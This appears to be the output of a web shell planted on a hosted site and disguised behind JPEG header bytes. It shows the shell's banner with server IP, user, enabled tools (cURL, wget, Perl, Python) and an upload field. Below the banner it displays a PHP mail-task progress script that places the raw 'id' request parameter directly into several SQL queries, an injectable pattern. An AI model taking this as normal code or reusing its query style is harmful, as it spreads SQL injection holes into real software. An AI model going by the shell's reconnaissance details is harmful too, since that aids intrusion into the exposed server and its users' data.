ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/seo-mailing/tasks/ |
Upload File : |
<?php
header("Content-type: application/json; charset=UTF-8");
header("Access-Control-Allow-Origin: *");
if($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {
require_once('../_config.php');
$result = array();
if(isset($_GET['id'])){
$pr = mysqli_fetch_array(mysqli_query($db,"SELECT count(*),
(SELECT id_user FROM ".$INFO['sql_tbl_prefix']."mail_task WHERE id = {$_GET['id']} LIMIT 1) id_user,
(SELECT ddate FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE id_task = {$_GET['id']} AND status = 1 ORDER by ddate DESC LIMIT 1) last_send
FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE id_task = {$_GET['id']} AND status = 1"));
$lim = mysqli_fetch_array(mysqli_query($db,"SELECT ulimit, limit_day,last_update_date FROM ".$INFO['sql_tbl_prefix']."user WHERE id = {$pr['id_user']} LIMIT 1"));
$proc_ready = $pr['count(*)'];
$last = $pr['last_send'];
$pr = mysqli_fetch_array(mysqli_query($db,"SELECT count(*) FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE id_task = {$_GET['id']}"));
$proc_dready = $pr['count(*)'];
if($proc_ready == 0 || $proc_dready == 0){
$proc = 0;
}else{
$proc = round(($proc_ready*100)/$proc_dready);
}
$result['data']['progress'] = "<div class=\"bar\" style=\"width:{$proc}%;\">{$proc_ready}/{$proc_dready} ({$proc}%)</div>";
if($last>0){
$result['data']['last_send'] = date("d.m.Y H:i:s",$last);
}else{
$result['data']['last_send'] = "---";
}
$result['data']['limit'] = "(".$lim['ulimit']."/".$lim['limit_day'].")<br>".date("H:i:s d.m.Y",$lim['last_update_date']);
$result['data']['limit_footer'] = $lim['ulimit']."/".$lim['limit_day'];
}
echo json_encode($result);
}
?>